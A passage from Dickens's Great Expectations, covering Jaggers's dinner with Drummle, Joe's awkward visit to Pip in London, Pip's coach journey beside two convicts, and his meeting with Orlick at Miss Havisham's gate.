Drummle was +rallied for coming up behind of a night in that slow amphibious way +of his. Drummle upon this, informed our host that he much preferred +our room to our company, and that as to skill he was more than our +master, and that as to strength he could scatter us like chaff. By +some invisible agency, my guardian wound him up to a pitch little +short of ferocity about this trifle; and he fell to baring and +spanning his arm to show how muscular it was, and we all fell to +baring and spanning our arms in a ridiculous manner. + +Now, the housekeeper was at that time clearing the table; my +guardian, taking no heed of her, but with the side of his face +turned from her, was leaning back in his chair biting the side of +his forefinger and showing an interest in Drummle, that, to me, was +quite inexplicable. Suddenly, he clapped his large hand on the +housekeeper's, like a trap, as she stretched it across the table. +So suddenly and smartly did he do this, that we all stopped in our +foolish contention. + +"If you talk of strength," said Mr. Jaggers, "I'll show you a wrist. +Molly, let them see your wrist." + +Her entrapped hand was on the table, but she had already put her +other hand behind her waist. "Master," she said, in a low voice, +with her eyes attentively and entreatingly fixed upon him. "Don't." + +"I'll show you a wrist," repeated Mr. Jaggers, with an immovable +determination to show it. "Molly, let them see your wrist." + +"Master," she again murmured. "Please!" + +"Molly," said Mr. Jaggers, not looking at her, but obstinately +looking at the opposite side of the room, "let them see both your +wrists. Show them. Come!" + +He took his hand from hers, and turned that wrist up on the table. +She brought her other hand from behind her, and held the two out +side by side. The last wrist was much disfigured - deeply scarred +and scarred across and across. When she held her hands out, she +took her eyes from Mr. Jaggers, and turned them watchfully on every +one of the rest of us in succession. + +"There's power here," said Mr. Jaggers, coolly tracing out the +sinews with his forefinger. "Very few men have the power of wrist +that this woman has. It's remarkable what mere force of grip there +is in these hands. I have had occasion to notice many hands; but I +never saw stronger in that respect, man's or woman's, than these." + +While he said these words in a leisurely critical style, she +continued to look at every one of us in regular succession as we +sat. The moment he ceased, she looked at him again. "That'll do, +Molly," said Mr. Jaggers, giving her a slight nod; "you have been +admired, and can go." She withdrew her hands and went out of the +room, and Mr. Jaggers, putting the decanters on from his dumbwaiter, +filled his glass and passed round the wine. + +"At half-past nine, gentlemen," said he, "we must break up. Pray +make the best use of your time. I am glad to see you all. Mr. +Drummle, I drink to you." + +If his object in singling out Drummle were to bring him out still +more, it perfectly succeeded. In a sulky triumph, Drummle showed +his morose depreciation of the rest of us, in a more and more +offensive degree until he became downright intolerable. Through all +his stages, Mr. Jaggers followed him with the same strange interest. +He actually seemed to serve as a zest to Mr. Jaggers's wine. + +In our boyish want of discretion I dare say we took too much to +drink, and I know we talked too much. We became particularly hot +upon some boorish sneer of Drummle's, to the effect that we were +too free with our money. It led to my remarking, with more zeal +than discretion, that it came with a bad grace from him, to whom +Startop had lent money in my presence but a week or so before. + +"Well," retorted Drummle; "he'll be paid." + +"I don't mean to imply that he won't," said I, "but it might make +you hold your tongue about us and our money, I should think." + +"You should think!" retorted Drummle. "Oh Lord!" + +"I dare say," I went on, meaning to be very severe, "that you +wouldn't lend money to any of us, if we wanted it." + +"You are right," said Drummle. "I wouldn't lend one of you a +sixpence. I wouldn't lend anybody a sixpence." + +"Rather mean to borrow under those circumstances, I should say." + +"You should say," repeated Drummle. "Oh Lord!" + +This was so very aggravating - the more especially as I found +myself making no way against his surly obtuseness - that I said, +disregarding Herbert's efforts to check me: + +"Come, Mr. Drummle, since we are on the subject, I'll tell you what +passed between Herbert here and me, when you borrowed that money." + +"I don't want to know what passed between Herbert there and you," +growled Drummle. And I think he added in a lower growl, that we +might both go to the devil and shake ourselves. + +"I'll tell you, however," said I, "whether you want to know or not. +We said that as you put it in your pocket very glad to get it, you +seemed to be immensely amused at his being so weak as to lend it." + +Drummle laughed outright, and sat laughing in our faces, with his +hands in his pockets and his round shoulders raised: plainly +signifying that it was quite true, and that he despised us, as +asses all. + +Hereupon Startop took him in hand, though with a much better grace +than I had shown, and exhorted him to be a little more agreeable. +Startop, being a lively bright young fellow, and Drummle being the +exact opposite, the latter was always disposed to resent him as a +direct personal affront. He now retorted in a coarse lumpish way, +and Startop tried to turn the discussion aside with some small +pleasantry that made us all laugh. Resenting this little success +more than anything, Drummle, without any threat or warning, pulled +his hands out of his pockets, dropped his round shoulders, swore, +took up a large glass, and would have flung it at his adversary's +head, but for our entertainer's dexterously seizing it at the +instant when it was raised for that purpose. + +"Gentlemen," said Mr. Jaggers, deliberately putting down the glass, +and hauling out his gold repeater by its massive chain, "I am +exceedingly sorry to announce that it's half-past nine." + +On this hint we all rose to depart. Before we got to the street +door, Startop was cheerily calling Drummle "old boy," as if nothing +had happened. But the old boy was so far from responding, that he +would not even walk to Hammersmith on the same side of the way; so, +Herbert and I, who remained in town, saw them going down the street +on opposite sides; Startop leading, and Drummle lagging behind in +the shadow of the houses, much as he was wont to follow in his +boat. + +As the door was not yet shut, I thought I would leave Herbert there +for a moment, and run up-stairs again to say a word to my guardian. +I found him in his dressing-room surrounded by his stock of boots, +already hard at it, washing his hands of us. + +I told him I had come up again to say how sorry I was that anything +disagreeable should have occurred, and that I hoped he would not +blame me much. + +"Pooh!" said he, sluicing his face, and speaking through the +water-drops; "it's nothing, Pip. I like that Spider though." + +He had turned towards me now, and was shaking his head, and +blowing, and towelling himself. + +"I am glad you like him, sir," said I - "but I don't." + +"No, no," my guardian assented; "don't have too much to do with +him. Keep as clear of him as you can. But I like the fellow, Pip; +he is one of the true sort. Why, if I was a fortune-teller--" + +Looking out of the towel, he caught my eye. + +"But I am not a fortune-teller," he said, letting his head drop +into a festoon of towel, and towelling away at his two ears. "You +know what I am, don't you? Good-night, Pip." + +"Good-night, sir." + +In about a month after that, the Spider's time with Mr. Pocket was +up for good, and, to the great relief of all the house but Mrs. +Pocket, he went home to the family hole. + + +Chapter 27 + +"MY DEAR MR PIP, + +"I write this by request of Mr. Gargery, for to let you know that he +is going to London in company with Mr. Wopsle and would be glad if +agreeable to be allowed to see you. He would call at Barnard's +Hotel Tuesday morning 9 o'clock, when if not agreeable please +leave word. Your poor sister is much the same as when you left. We +talk of you in the kitchen every night, and wonder what you are +saying and doing. If now considered in the light of a liberty, +excuse it for the love of poor old days. No more, dear Mr. Pip, from + +"Your ever obliged, and affectionate servant, + +"BIDDY." + +"P.S. He wishes me most particular to write what larks. He says you +will understand. I hope and do not doubt it will be agreeable to +see him even though a gentleman, for you had ever a good heart, and +he is a worthy worthy man. I have read him all excepting only the +last little sentence, and he wishes me most particular to write +again what larks." + +I received this letter by the post on Monday morning, and therefore +its appointment was for next day. Let me confess exactly, with what +feelings I looked forward to Joe's coming. + +Not with pleasure, though I was bound to him by so many ties; no; +with considerable disturbance, some mortification, and a keen sense +of incongruity. If I could have kept him away by paying money, I +certainly would have paid money. My greatest reassurance was, that +he was coming to Barnard's Inn, not to Hammersmith, and +consequently would not fall in Bentley Drummle's way. I had little +objection to his being seen by Herbert or his father, for both of +whom I had a respect; but I had the sharpest sensitiveness as to +his being seen by Drummle, whom I held in contempt. So, throughout +life, our worst weaknesses and meannesses are usually committed for +the sake of the people whom we most despise. + +I had begun to be always decorating the chambers in some quite +unnecessary and inappropriate way or other, and very expensive +those wrestles with Barnard proved to be. By this time, the rooms +were vastly different from what I had found them, and I enjoyed the +honour of occupying a few prominent pages in the books of a +neighbouring upholsterer. I had got on so fast of late, that I had +even started a boy in boots - top boots - in bondage and slavery to +whom I might have been said to pass my days. For, after I had made +the monster (out of the refuse of my washerwoman's family) and had +clothed him with a blue coat, canary waistcoat, white cravat, +creamy breeches, and the boots already mentioned, I had to find him +a little to do and a great deal to eat; and with both of those +horrible requirements he haunted my existence. + +This avenging phantom was ordered to be on duty at eight on Tuesday +morning in the hall (it was two feet square, as charged for +floorcloth), and Herbert suggested certain things for breakfast +that he thought Joe would like. While I felt sincerely obliged to +him for being so interested and considerate, I had an odd +half-provoked sense of suspicion upon me, that if Joe had been +coming to see him, he wouldn't have been quite so brisk about it. + +However, I came into town on the Monday night to be ready for Joe, +and I got up early in the morning, and caused the sittingroom and +breakfast-table to assume their most splendid appearance. +Unfortunately the morning was drizzly, and an angel could not have +concealed the fact that Barnard was shedding sooty tears outside the +window, like some weak giant of a Sweep. + +As the time approached I should have liked to run away, but the +Avenger pursuant to orders was in the hall, and presently I heard +Joe on the staircase. I knew it was Joe, by his clumsy manner of +coming up-stairs - his state boots being always too big for him - +and by the time it took him to read the names on the other floors +in the course of his ascent. When at last he stopped outside our +door, I could hear his finger tracing over the painted letters of +my name, and I afterwards distinctly heard him breathing in at the +keyhole. Finally he gave a faint single rap, and Pepper - such was +the compromising name of the avenging boy - announced "Mr. Gargery!" +I thought he never would have done wiping his feet, and that I must +have gone out to lift him off the mat, but at last he came in. + +"Joe, how are you, Joe?" + +"Pip, how AIR you, Pip?" + +With his good honest face all glowing and shining, and his hat put +down on the floor between us, he caught both my hands and worked +them straight up and down, as if I had been the lastpatented Pump. + +"I am glad to see you, Joe. Give me your hat." + +But Joe, taking it up carefully with both hands, like a bird's-nest +with eggs in it, wouldn't hear of parting with that piece of +property, and persisted in standing talking over it in a most +uncomfortable way. + +"Which you have that growed," said Joe, "and that swelled, and that +gentle-folked;" Joe considered a little before he discovered this +word; "as to be sure you are a honour to your king and country." + +"And you, Joe, look wonderfully well." + +"Thank God," said Joe, "I'm ekerval to most. And your sister, she's +no worse than she were. And Biddy, she's ever right and ready. And +all friends is no backerder, if not no forarder. 'Ceptin Wopsle; +he's had a drop." + +All this time (still with both hands taking great care of the +bird's-nest), Joe was rolling his eyes round and round the room, +and round and round the flowered pattern of my dressing-gown. + +"Had a drop, Joe?" + +"Why yes," said Joe, lowering his voice, "he's left the Church, and +went into the playacting. Which the playacting have likeways +brought him to London along with me. And his wish were," said Joe, +getting the bird's-nest under his left arm for the moment and +groping in it for an egg with his right; "if no offence, as I would +'and you that." + +I took what Joe gave me, and found it to be the crumpled playbill +of a small metropolitan theatre, announcing the first appearance, +in that very week, of "the celebrated Provincial Amateur of Roscian +renown, whose unique performance in the highest tragic walk of our +National Bard has lately occasioned so great a sensation in local +dramatic circles." + +"Were you at his performance, Joe?" I inquired. + +"I were," said Joe, with emphasis and solemnity. + +"Was there a great sensation?" + +"Why," said Joe, "yes, there certainly were a peck of orange-peel. +Partickler, when he see the ghost. Though I put it to yourself, +sir, whether it were calc'lated to keep a man up to his work with a +good hart, to be continiwally cutting in betwixt him and the Ghost +with "Amen!" A man may have had a misfortun' and been in the +Church," said Joe, lowering his voice to an argumentative and +feeling tone, "but that is no reason why you should put him out at +such a time. Which I meantersay, if the ghost of a man's own father +cannot be allowed to claim his attention, what can, Sir? Still +more, when his mourning 'at is unfortunately made so small as that +the weight of the black feathers brings it off, try to keep it on +how you may." + +A ghost-seeing effect in Joe's own countenance informed me that +Herbert had entered the room. So, I presented Joe to Herbert, who +held out his hand; but Joe backed from it, and held on by the +bird's-nest. + +"Your servant, Sir," said Joe, "which I hope as you and Pip" - here +his eye fell on the Avenger, who was putting some toast on table, +and so plainly denoted an intention to make that young gentleman +one of the family, that I frowned it down and confused him more - +"I meantersay, you two gentlemen - which I hope as you get your +elths in this close spot? For the present may be a werry good inn, +according to London opinions," said Joe, confidentially, "and I +believe its character do stand i; but I wouldn't keep a pig in it +myself - not in the case that I wished him to fatten wholesome and +to eat with a meller flavour on him." + +Having borne this flattering testimony to the merits of our +dwelling-place, and having incidentally shown this tendency to call +me "sir," Joe, being invited to sit down to table, looked all round +the room for a suitable spot on which to deposit his hat - as if it +were only on some very few rare substances in nature that it could +find a resting place - and ultimately stood it on an extreme corner +of the chimney-piece, from which it ever afterwards fell off at +intervals. + +"Do you take tea, or coffee, Mr. Gargery?" asked Herbert, who always +presided of a morning. + +"Thankee, Sir," said Joe, stiff from head to foot, "I'll take +whichever is most agreeable to yourself." + +"What do you say to coffee?" + +"Thankee, Sir," returned Joe, evidently dispirited by the proposal, +"since you are so kind as make chice of coffee, I will not run +contrairy to your own opinions. But don't you never find it a +little 'eating?" + +"Say tea then," said Herbert, pouring it out. + +Here Joe's hat tumbled off the mantel-piece, and he started out of +his chair and picked it up, and fitted it to the same exact spot. +As if it were an absolute point of good breeding that it should +tumble off again soon. + +"When did you come to town, Mr. Gargery?" + +"Were it yesterday afternoon?" said Joe, after coughing behind his +hand, as if he had had time to catch the whooping-cough since he +came. "No it were not. Yes it were. Yes. It were yesterday +afternoon" (with an appearance of mingled wisdom, relief, and +strict impartiality). + +"Have you seen anything of London, yet?" + +"Why, yes, Sir," said Joe, "me and Wopsle went off straight to look +at the Blacking Ware'us. But we didn't find that it come up to its +likeness in the red bills at the shop doors; which I meantersay," +added Joe, in an explanatory manner, "as it is there drawd too +architectooralooral." + +I really believe Joe would have prolonged this word (mightily +expressive to my mind of some architecture that I know) into a +perfect Chorus, but for his attention being providentially +attracted by his hat, which was toppling. Indeed, it demanded from +him a constant attention, and a quickness of eye and hand, very +like that exacted by wicket-keeping. He made extraordinary play +with it, and showed the greatest skill; now, rushing at it and +catching it neatly as it dropped; now, merely stopping it midway, +beating it up, and humouring it in various parts of the room and +against a good deal of the pattern of the paper on the wall, before +he felt it safe to close with it; finally, splashing it into the +slop-basin, where I took the liberty of laying hands upon it. + +As to his shirt-collar, and his coat-collar, they were perplexing +to reflect upon - insoluble mysteries both. Why should a man scrape +himself to that extent, before he could consider himself full +dressed? Why should he suppose it necessary to be purified by +suffering for his holiday clothes? Then he fell into such +unaccountable fits of meditation, with his fork midway between his +plate and his mouth; had his eyes attracted in such strange +directions; was afflicted with such remarkable coughs; sat so far +from the table, and dropped so much more than he ate, and pretended +that he hadn't dropped it; that I was heartily glad when Herbert +left us for the city. + +I had neither the good sense nor the good feeling to know that this +was all my fault, and that if I had been easier with Joe, Joe would +have been easier with me. I felt impatient of him and out of temper +with him; in which condition he heaped coals of fire on my head. + +"Us two being now alone, Sir," - began Joe. + +"Joe," I interrupted, pettishly, "how can you call me, Sir?" + +Joe looked at me for a single instant with something faintly like +reproach. Utterly preposterous as his cravat was, and as his +collars were, I was conscious of a sort of dignity in the look. + +"Us two being now alone," resumed Joe, "and me having the +intentions and abilities to stay not many minutes more, I will now +conclude - leastways begin - to mention what have led to my having +had the present honour. For was it not," said Joe, with his old air +of lucid exposition, "that my only wish were to be useful to you, I +should not have had the honour of breaking wittles in the company +and abode of gentlemen." + +I was so unwilling to see the look again, that I made no +remonstrance against this tone. + +"Well, Sir," pursued Joe, "this is how it were. I were at the +Bargemen t'other night, Pip;" whenever he subsided into affection, +he called me Pip, and whenever he relapsed into politeness he +called me Sir; "when there come up in his shay-cart, Pumblechook. +Which that same identical," said Joe, going down a new track, "do +comb my 'air the wrong way sometimes, awful, by giving out up and +down town as it were him which ever had your infant companionation +and were looked upon as a playfellow by yourself." + +"Nonsense. It was you, Joe." + +"Which I fully believed it were, Pip," said Joe, slightly tossing +his head, "though it signify little now, Sir. Well, Pip; this same +identical, which his manners is given to blusterous, come to me at +the Bargemen (wot a pipe and a pint of beer do give refreshment to +the working-man, Sir, and do not over stimilate), and his word +were, 'Joseph, Miss Havisham she wish to speak to you.'" + +"Miss Havisham, Joe?" + +"'She wish,' were Pumblechook's word, 'to speak to you.'" Joe sat +and rolled his eyes at the ceiling. + +"Yes, Joe? Go on, please." + +"Next day, Sir," said Joe, looking at me as if I were a long way +off, "having cleaned myself, I go and I see Miss A." + +"Miss A., Joe? Miss Havisham?" + +"Which I say, Sir," replied Joe, with an air of legal formality, as +if he were making his will, "Miss A., or otherways Havisham. Her +expression air then as follering: 'Mr. Gargery. You air in +correspondence with Mr. Pip?' Having had a letter from you, I were +able to say 'I am.' (When I married your sister, Sir, I said 'I +will;' and when I answered your friend, Pip, I said 'I am.') 'Would +you tell him, then,' said she, 'that which Estella has come home +and would be glad to see him.'" + +I felt my face fire up as I looked at Joe. I hope one remote cause +of its firing, may have been my consciousness that if I had known +his errand, I should have given him more encouragement. + +"Biddy," pursued Joe, "when I got home and asked her fur to write +the message to you, a little hung back. Biddy says, 'I know he will +be very glad to have it by word of mouth, it is holidaytime, you +want to see him, go!' I have now concluded, Sir," said Joe, rising +from his chair, "and, Pip, I wish you ever well and ever prospering +to a greater and a greater heighth." + +"But you are not going now, Joe?" + +"Yes I am," said Joe. + +"But you are coming back to dinner, Joe?" + +"No I am not," said Joe. + +Our eyes met, and all the "Sir" melted out of that manly heart as +he gave me his hand. + +"Pip, dear old chap, life is made of ever so many partings welded +together, as I may say, and one man's a blacksmith, and one's a +whitesmith, and one's a goldsmith, and one's a coppersmith. +Diwisions among such must come, and must be met as they come. If +there's been any fault at all to-day, it's mine. You and me is not +two figures to be together in London; nor yet anywheres else but +what is private, and beknown, and understood among friends. It +ain't that I am proud, but that I want to be right, as you shall +never see me no more in these clothes. I'm wrong in these clothes. +I'm wrong out of the forge, the kitchen, or off th' meshes. You +won't find half so much fault in me if you think of me in my forge +dress, with my hammer in my hand, or even my pipe. You won't find +half so much fault in me if, supposing as you should ever wish to +see me, you come and put your head in at the forge window and see +Joe the blacksmith, there, at the old anvil, in the old burnt +apron, sticking to the old work. I'm awful dull, but I hope I've +beat out something nigh the rights of this at last. And so GOD +bless you, dear old Pip, old chap, GOD bless you!" + +I had not been mistaken in my fancy that there was a simple dignity +in him. The fashion of his dress could no more come in its way when +he spoke these words, than it could come in its way in Heaven. He +touched me gently on the forehead, and went out. As soon as I could +recover myself sufficiently, I hurried out after him and looked for +him in the neighbouring streets; but he was gone. + + +Chapter 28 + +It was clear that I must repair to our town next day, and in the +first flow of my repentance it was equally clear that I must stay +at Joe's. But, when I had secured my box-place by to-morrow's coach +and had been down to Mr. Pocket's and back, I was not by any means +convinced on the last point, and began to invent reasons and make +excuses for putting up at the Blue Boar. I should be an +inconvenience at Joe's; I was not expected, and my bed would not be +ready; I should be too far from Miss Havisham's, and she was +exacting and mightn't like it. All other swindlers upon earth are +nothing to the self-swindlers, and with such pretences did I cheat +myself. Surely a curious thing. That I should innocently take a bad +half-crown of somebody else's manufacture, is reasonable enough; +but that I should knowingly reckon the spurious coin of my own +make, as good money! An obliging stranger, under pretence of +compactly folding up my bank-notes for security's sake, abstracts +the notes and gives me nutshells; but what is his sleight of hand +to mine, when I fold up my own nutshells and pass them on myself as +notes! + +Having settled that I must go to the Blue Boar, my mind was much +disturbed by indecision whether or not to take the Avenger. It was +tempting to think of that expensive Mercenary publicly airing his +boots in the archway of the Blue Boar's posting-yard; it was almost +solemn to imagine him casually produced in the tailor's shop and +confounding the disrespectful senses of Trabb's boy. On the other +hand, Trabb's boy might worm himself into his intimacy and tell him +things; or, reckless and desperate wretch as I knew he could be, +might hoot him in the High-street, My patroness, too, might hear of +him, and not approve. On the whole, I resolved to leave the Avenger +behind. + +It was the afternoon coach by which I had taken my place, and, as +winter had now come round, I should not arrive at my destination +until two or three hours after dark. Our time of starting from the +Cross Keys was two o'clock. I arrived on the ground with a quarter +of an hour to spare, attended by the Avenger - if I may connect +that expression with one who never attended on me if he could +possibly help it. + +At that time it was customary to carry Convicts down to the +dockyards by stage-coach. As I had often heard of them in the +capacity of outside passengers, and had more than once seen them on +the high road dangling their ironed legs over the coach roof, I had +no cause to be surprised when Herbert, meeting me in the yard, came +up and told me there were two convicts going down with me. But I +had a reason that was an old reason now, for constitutionally +faltering whenever I heard the word convict. + +"You don't mind them, Handel?" said Herbert. + +"Oh no!" + +"I thought you seemed as if you didn't like them?" + +"I can't pretend that I do like them, and I suppose you don't +particularly. But I don't mind them." + +"See! There they are," said Herbert, "coming out of the Tap. What a +degraded and vile sight it is!" + +They had been treating their guard, I suppose, for they had a +gaoler with them, and all three came out wiping their mouths on +their hands. The two convicts were handcuffed together, and had +irons on their legs - irons of a pattern that I knew well. They +wore the dress that I likewise knew well. Their keeper had a brace +of pistols, and carried a thick-knobbed bludgeon under his arm; but +he was on terms of good understanding with them, and stood, with +them beside him, looking on at the putting-to of the horses, rather +with an air as if the convicts were an interesting Exhibition not +formally open at the moment, and he the Curator. One was a taller +and stouter man than the other, and appeared as a matter of course, +according to the mysterious ways of the world both convict and +free, to have had allotted to him the smaller suit of clothes. His +arms and legs were like great pincushions of those shapes, and his +attire disguised him absurdly; but I knew his half-closed eye at +one glance. There stood the man whom I had seen on the settle at +the Three Jolly Bargemen on a Saturday night, and who had brought +me down with his invisible gun! + +It was easy to make sure that as yet he knew me no more than if he +had never seen me in his life. He looked across at me, and his eye +appraised my watch-chain, and then he incidentally spat and said +something to the other convict, and they laughed and slued +themselves round with a clink of their coupling manacle, and looked +at something else. The great numbers on their backs, as if they +were street doors; their coarse mangy ungainly outer surface, as if +they were lower animals; their ironed legs, apologetically +garlanded with pocket-handkerchiefs; and the way in which all +present looked at them and kept from them; made them (as Herbert +had said) a most disagreeable and degraded spectacle. + +But this was not the worst of it. It came out that the whole of the +back of the coach had been taken by a family removing from London, +and that there were no places for the two prisoners but on the seat +in front, behind the coachman. Hereupon, a choleric gentleman, who +had taken the fourth place on that seat, flew into a most violent +passion, and said that it was a breach of contract to mix him up +with such villainous company, and that it was poisonous and +pernicious and infamous and shameful, and I don't know what else. +At this time the coach was ready and the coachman impatient, and we +were all preparing to get up, and the prisoners had come over with +their keeper - bringing with them that curious flavour of +bread-poultice, baize, rope-yarn, and hearthstone, which attends +the convict presence. + +"Don't take it so much amiss, sir," pleaded the keeper to the angry +passenger; "I'll sit next you myself. I'll put 'em on the outside +of the row. They won't interfere with you, sir. You needn't know +they're there." + +"And don't blame me," growled the convict I had recognized. "I +don't want to go. I am quite ready to stay behind. As fur as I am +concerned any one's welcome to my place." + +"Or mine," said the other, gruffly. "I wouldn't have incommoded +none of you, if I'd had my way." Then, they both laughed, and began +cracking nuts, and spitting the shells about. - As I really think I +should have liked to do myself, if I had been in their place and so +despised. + +At length, it was voted that there was no help for the angry +gentleman, and that he must either go in his chance company or +remain behind. So, he got into his place, still making complaints, +and the keeper got into the place next him, and the convicts hauled +themselves up as well as they could, and the convict I had +recognized sat behind me with his breath on the hair of my head. + +"Good-bye, Handel!" Herbert called out as we started. I thought +what a blessed fortune it was, that he had found another name for +me than Pip. + +It is impossible to express with what acuteness I felt the +convict's breathing, not only on the back of my head, but all along +my spine. The sensation was like being touched in the marrow with +some pungent and searching acid, it set my very teeth on edge. He +seemed to have more breathing business to do than another man, and +to make more noise in doing it; and I was conscious of growing +high-shoulderd on one side, in my shrinking endeavours to fend him +off. + +The weather was miserably raw, and the two cursed the cold. It made +us all lethargic before we had gone far, and when we had left the +Half-way House behind, we habitually dozed and shivered and were +silent. I dozed off, myself, in considering the question whether I +ought to restore a couple of pounds sterling to this creature +before losing sight of him, and how it could best be done. In the +act of dipping forward as if I were going to bathe among the +horses, I woke in a fright and took the question up again. + +But I must have lost it longer than I had thought, since, although +I could recognize nothing in the darkness and the fitful lights and +shadows of our lamps, I traced marsh country in the cold damp wind +that blew at us. Cowering forward for warmth and to make me a +screen against the wind, the convicts were closer to me than +before. They very first words I heard them interchange as I became +conscious were the words of my own thought, "Two One Pound notes." + +"How did he get 'em?" said the convict I had never seen. + +"How should I know?" returned the other. "He had 'em stowed away +somehows. Giv him by friends, I expect." + +"I wish," said the other, with a bitter curse upon the cold, "that +I had 'em here." + +"Two one pound notes, or friends?" + +"Two one pound notes. I'd sell all the friends I ever had, for one, +and think it a blessed good bargain. Well? So he says - ?" + +"So he says," resumed the convict I had recognized - "it was all +said and done in half a minute, behind a pile of timber in the +Dockyard - 'You're a-going to be discharged?' Yes, I was. Would I +find out that boy that had fed him and kep his secret, and give him +them two one pound notes? Yes, I would. And I did." + +"More fool you," growled the other. "I'd have spent 'em on a Man, +in wittles and drink. He must have been a green one. Mean to say he +knowed nothing of you?" + +"Not a ha'porth. Different gangs and different ships. He was tried +again for prison breaking, and got made a Lifer." + +"And was that - Honour! - the only time you worked out, in this +part of the country?" + +"The only time." + +"What might have been your opinion of the place?" + +"A most beastly place. Mudbank, mist, swamp, and work; work, swamp, +mist, and mudbank." + +They both execrated the place in very strong language, and +gradually growled themselves out, and had nothing left to say. + +After overhearing this dialogue, I should assuredly have got down +and been left in the solitude and darkness of the highway, but for +feeling certain that the man had no suspicion of my identity. +Indeed, I was not only so changed in the course of nature, but so +differently dressed and so differently circumstanced, that it was +not at all likely he could have known me without accidental help. +Still, the coincidence of our being together on the coach, was +sufficiently strange to fill me with a dread that some other +coincidence might at any moment connect me, in his hearing, with my +name. For this reason, I resolved to alight as soon as we touched +the town, and put myself out of his hearing. This device I executed +successfully. My little portmanteau was in the boot under my feet; +I had but to turn a hinge to get it out: I threw it down before me, +got down after it, and was left at the first lamp on the first +stones of the town pavement. As to the convicts, they went their +way with the coach, and I knew at what point they would be spirited +off to the river. In my fancy, I saw the boat with its convict crew +waiting for them at the slime-washed stairs, - again heard the +gruff "Give way, you!" like and order to dogs - again saw the +wicked Noah's Ark lying out on the black water. + +I could not have said what I was afraid of, for my fear was +altogether undefined and vague, but there was great fear upon me. +As I walked on to the hotel, I felt that a dread, much exceeding +the mere apprehension of a painful or disagreeable recognition, +made me tremble. I am confident that it took no distinctness of +shape, and that it was the revival for a few minutes of the terror +of childhood. + +The coffee-room at the Blue Boar was empty, and I had not only +ordered my dinner there, but had sat down to it, before the waiter +knew me. As soon as he had apologized for the remissness of his +memory, he asked me if he should send Boots for Mr. Pumblechook? + +"No," said I, "certainly not." + +The waiter (it was he who had brought up the Great Remonstrance +from the Commercials, on the day when I was bound) appeared +surprised, and took the earliest opportunity of putting a dirty old +copy of a local newspaper so directly in my way, that I took it up +and read this paragraph: + +Our readers will learn, not altogether without interest, in +reference to the recent romantic rise in fortune of a young +artificer in iron of this neighbourhood (what a theme, by the way, +for the magic pen of our as yet not universally acknowledged +townsman TOOBY, the poet of our columns!) that the youth's earliest +patron, companion, and friend, was a highly-respected individual +not entirely unconnected with the corn and seed trade, and whose +eminently convenient and commodious business premises are situate +within a hundred miles of the High-street. It is not wholly +irrespective of our personal feelings that we record HIM as the +Mentor of our young Telemachus, for it is good to know that our +town produced the founder of the latter's fortunes. Does the +thoughtcontracted brow of the local Sage or the lustrous eye of +local Beauty inquire whose fortunes? We believe that Quintin Matsys +was the BLACKSMITH of Antwerp. VERB. SAP. + +I entertain a conviction, based upon large experience, that if in +the days of my prosperity I had gone to the North Pole, I should +have met somebody there, wandering Esquimaux or civilized man, who +would have told me that Pumblechook was my earliest patron and the +founder of my fortunes. + + +Chapter 29 + +Betimes in the morning I was up and out. It was too early yet to go +to Miss Havisham's, so I loitered into the country on Miss +Havisham's side of town - which was not Joe's side; I could go +there to-morrow - thinking about my patroness, and painting +brilliant pictures of her plans for me. + +She had adopted Estella, she had as good as adopted me, and it +could not fail to be her intention to bring us together. She +reserved it for me to restore the desolate house, admit the +sunshine into the dark rooms, set the clocks a-going and the cold +hearths a-blazing, tear down the cobwebs, destroy the vermin - in +short, do all the shining deeds of the young Knight of romance, and +marry the Princess. I had stopped to look at the house as I passed; +and its seared red brick walls, blocked windows, and strong green +ivy clasping even the stacks of chimneys with its twigs and +tendons, as if with sinewy old arms, had made up a rich attractive +mystery, of which I was the hero. Estella was the inspiration of +it, and the heart of it, of course. But, though she had taken such +strong possession of me, though my fancy and my hope were so set +upon her, though her influence on my boyish life and character had +been all-powerful, I did not, even that romantic morning, invest +her with any attributes save those she possessed. I mention this in +this place, of a fixed purpose, because it is the clue by which I +am to be followed into my poor labyrinth. According to my +experience, the conventional notion of a lover cannot be always +true. The unqualified truth is, that when I loved Estella with the +love of a man, I loved her simply because I found her irresistible. +Once for all; I knew to my sorrow, often and often, if not always, +that I loved her against reason, against promise, against peace, +against hope, against happiness, against all discouragement that +could be. Once for all; I loved her none the less because I knew +it, and it had no more influence in restraining me, than if I had +devoutly believed her to be human perfection. + +I so shaped out my walk as to arrive at the gate at my old time. +When I had rung at the bell with an unsteady hand, I turned my back +upon the gate, while I tried to get my breath and keep the beating +of my heart moderately quiet. I heard the side door open, and steps +come across the court-yard; but I pretended not to hear, even when +the gate swung on its rusty hinges. + +Being at last touched on the shoulder, I started and turned. I +started much more naturally then, to find myself confronted by a +man in a sober grey dress. The last man I should have expected to +see in that place of porter at Miss Havisham's door. + +"Orlick!" + +"Ah, young master, there's more changes than yours. But come in, +come in. It's opposed to my orders to hold the gate open." + +I entered and he swung it, and locked it, and took the key out. +"Yes!" said he, facing round, after doggedly preceding me a few +steps towards the house. "Here I am!" + +"How did you come here?" + +"I come her," he retorted, "on my legs. I had my box brought +alongside me in a barrow." + +"Are you here for good?" + +"I ain't her for harm, young master, I suppose?" + +I was not so sure of that. I had leisure to entertain the retort in +my mind, while he slowly lifted his heavy glance from the pavement, +up my legs and arms, to my face. + +"Then you have left the forge?" I said. + +"Do this look like a forge?" replied Orlick, sending his glance all +round him with an air of injury. "Now, do it look like it?" + +I asked him how long he had left Gargery's forge? + +"One day is so like another here," he replied, "that I don't know +without casting it up. However, I come her some time since you +left." + +"I could have told you that, Orlick." + +"Ah!" said he, drily. "But then you've got to be a scholar." + +By this time we had come to the house, where I found his room to be +one just within the side door, with a little window in it looking +on the court-yard. In its small proportions, it was not unlike the +kind of place usually assigned to a gate-porter in Paris. Certain +keys were hanging on the wall, to which he now added the gate-key; +and his patchwork-covered bed was in a little inner division or +recess. The whole had a slovenly confined and sleepy look, like a +cage for a human dormouse: while he, looming dark and heavy in the +shadow of a corner by the window, looked like the human dormouse +for whom it was fitted up - as indeed he was. + +"I never saw this room before," I remarked; "but there used to be +no Porter here." + +"No," said he; "not till it got about that there was no protection +on the premises, and it come to be considered dangerous, with +convicts and Tag and Rag and Bobtail going up and down. And then I +was recommended to the place as a man who could give another man as +good as he brought, and I took it. It's easier than bellowsing and +hammering. - That's loaded, that is." + +My eye had been caught by a gun with a brass bound stock over the +chimney-piece, and his eye had followed mine. + +"Well," said I, not desirous of more conversation, "shall I go up +to Miss Havisham?" + +"Burn me, if I know!" he retorted, first stretching himself and +then shaking himself; "my orders ends here, young master. I give +this here bell a rap with this here hammer, and you go on along the +passage till you meet somebody." + 